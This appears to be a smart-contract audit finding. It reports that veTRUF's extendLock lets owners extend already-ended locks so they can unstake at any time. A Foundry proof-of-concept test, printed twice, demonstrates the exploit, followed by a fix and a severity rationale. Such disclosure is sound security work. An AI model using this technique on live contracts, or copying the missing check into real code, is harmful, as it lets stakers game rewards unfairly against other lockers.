Ended locks can be extended
When a lock period ends, it can be extended. If the new extension 'end' is earlier than the current block.timestamp, the user will have a lock that can be unstaked at any time."\\nWhen the lock period ends, the owner of the expired lock can extend it to set a new lock end that is earlier than the current block.timestamp. By doing so, the lock owner can create a lock that is unstakeable at any time.\\nThis is doable because there are no checks in the extendLock function that checks whether the lock is already ended or not.\\nPoC:\\n```\\nfunction test_ExtendLock_AlreadyEnded() external {\\n        uint256 amount = 100e18;\\n        uint256 duration = 5 days;\\n\\n        _stake(amount, duration, alice, alice);\\n\\n        // 5 days later, lock is ended for Alice\\n        skip(5 days + 1);\\n\\n        (,, uint128 _ends,,) = veTRUF.lockups(alice, 0);\\n\\n        // Alice's lock is indeed ended\\n        assertTrue(_ends < block.timestamp, "lock is ended");\\n\\n        // 36 days passed  \\n        skip(36 days);\\n\\n        // Alice extends her already finished lock 30 more days\\n        vm.prank(alice);\\n        veTRUF.extendLock(0, 30 days);\\n\\n        (,,_ends,,) = veTRUF.lockups(alice, 0);\\n\\n        // Alice's lock can be easily unlocked right away\\n        assertTrue(_ends < block.timestamp, "lock is ended");\\n\\n        // Alice unstakes her lock, basically alice can unstake her lock anytime she likes\\n        vm.prank(alice);\\n        veTRUF.unstake(0);\\n    }\\n```\\n
Do not let extension of locks that are already ended.
The owner of the lock will achieve points that he can unlock anytime. This is clearly a gaming of the system and shouldn't be acceptable behaviour. A locker having a "lock" that can be unstaked anytime will be unfair for the other lockers. Considering this, I'll label this as high.
```\\nfunction test_ExtendLock_AlreadyEnded() external {\\n        uint256 amount = 100e18;\\n        uint256 duration = 5 days;\\n\\n        _stake(amount, duration, alice, alice);\\n\\n        // 5 days later, lock is ended for Alice\\n        skip(5 days + 1);\\n\\n        (,, uint128 _ends,,) = veTRUF.lockups(alice, 0);\\n\\n        // Alice's lock is indeed ended\\n        assertTrue(_ends < block.timestamp, "lock is ended");\\n\\n        // 36 days passed  \\n        skip(36 days);\\n\\n        // Alice extends her already finished lock 30 more days\\n        vm.prank(alice);\\n        veTRUF.extendLock(0, 30 days);\\n\\n        (,,_ends,,) = veTRUF.lockups(alice, 0);\\n\\n        // Alice's lock can be easily unlocked right away\\n        assertTrue(_ends < block.timestamp, "lock is ended");\\n\\n        // Alice unstakes her lock, basically alice can unstake her lock anytime she likes\\n        vm.prank(alice);\\n        veTRUF.unstake(0);\\n    }\\n```\\n